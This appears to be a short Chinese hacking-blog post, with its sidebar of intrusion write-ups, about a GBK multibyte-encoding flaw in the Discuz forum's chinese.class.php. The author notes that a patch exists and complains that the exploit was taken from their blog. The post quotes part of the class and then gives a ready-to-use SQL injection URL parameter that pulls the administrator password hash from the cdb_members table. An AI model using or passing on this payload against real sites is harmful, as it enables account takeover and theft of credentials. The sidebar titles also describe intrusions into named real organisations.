|
由于发在blog上的漏洞资料给一位牛牛搞了.官方已出补丁.(由于 PHP 对 多字节字符集的支持存在问题,在各种编码相互转换过程中,有可能引发程序溢出和程序错误)
我很生气, 在这我说下过程:
| 以下是引用片段: if(defined(’IN_DISCUZ’)) { exit(’Access Denied’); } define(’CODETABLE_DIR’, DISCUZ_ROOT.’./include/tables/’); class Chinese { var $table = ’’; var $iconv_enabled = false; var $unicode_table = array(); var $config = array ( ’SourceLang’ => ’’, ’TargetLang’ => ’’, ’GBtoUnicode_table’ => ’gb-unicode.table’, ’BIG5toUnicode_table’ => ’big5-unicode.table’, ); function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) { $this->config[’SourceLang’] = $this->_lang($SourceLang); $this->config[’TargetLang’] = $this->_lang($TargetLang); if(!function_exists(’iconv’) && $this->config[’TargetLang’] != ‘BIG5′ && !$ForceTable) { $this->iconv_enabled = true; } else { $this->iconv_enabled = false; $this->OpenTable(); } } function _lang($LangCode) { $LangCode = strtoupper($LangCode); if(substr($LangCode, 0, 2) == ‘GB’) { return ‘GBK’; } elseif(substr($LangCode, 0, 3) == ‘BIG’) { return ‘BIG5′; } elseif(substr($LangCode, 0, 3) == ‘UTF’) { return ‘UTF-8′; } elseif(substr($LangCode, 0, 3) == ‘UNI’) { return ‘UNICODE’; } } function _hex2bin($hexdata) { for($i=0; $i < strlen($hexdata); $i += 2) { $bindata .= chr(hexdec(substr($hexdata, $i, 2))); } return $bindata; } chinese.class.php (utf-8不能利用) searchid=22%cf’UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit |
| 实例讲解跨站入侵攻防战之攻击篇 | 05-08 |
| 对偶偶娱乐分站服务器的安全检测 | 04-23 |
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |